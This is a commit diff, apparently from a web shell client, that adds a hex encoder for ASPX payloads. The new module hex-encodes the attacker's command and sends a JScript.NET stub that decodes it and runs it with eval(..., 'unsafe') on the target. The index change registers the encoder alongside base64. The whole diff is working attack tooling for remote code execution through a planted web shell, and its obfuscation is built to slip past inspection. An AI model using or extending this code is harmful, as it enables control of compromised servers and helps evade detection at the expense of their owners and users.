new(aspx):add aspx hex encoder

添加 aspx hex 编码器

source/core/aspx/encoder/hex.jsx

+// 
+// aspx::hex 编码模块
+// 
+// 把除了密码的其他参数都 hex 编码一次
+// 
+
+'use strict';
+
+module.exports = (pwd, data) => {
+
+    let randomID = `_0x${Math.random().toString(16).substr(2)}`;
+    let hexencoder = "function HexAsciiConvert(hex:String) {var sb:System.Text.StringBuilder = new System.Text.StringBuilder();var i;for(i=0; i< hex.Length; i+=2){sb.Append(System.Convert.ToString(System.Convert.ToChar(Int32.Parse(hex.Substring(i,2), System.Globalization.NumberStyles.HexNumber))));}return sb.ToString();};";
+    data[randomID] = new Buffer(data['_']).toString('hex');
+    data[pwd] = `${hexencoder};eval(HexAsciiConvert(Request.Item["${randomID}"]),"unsafe");`;
+    delete data['_'];
+    return data;
+}
\ No newline at end of file

source/core/aspx/index.jsx

@@ -36,7 +36,7 @@ class ASPX extends Base {
    * @return {array} 编码器列表
    */
   get encoders() {
-    return ['base64'];
+    return ['base64', 'hex'];
   }
 
   /**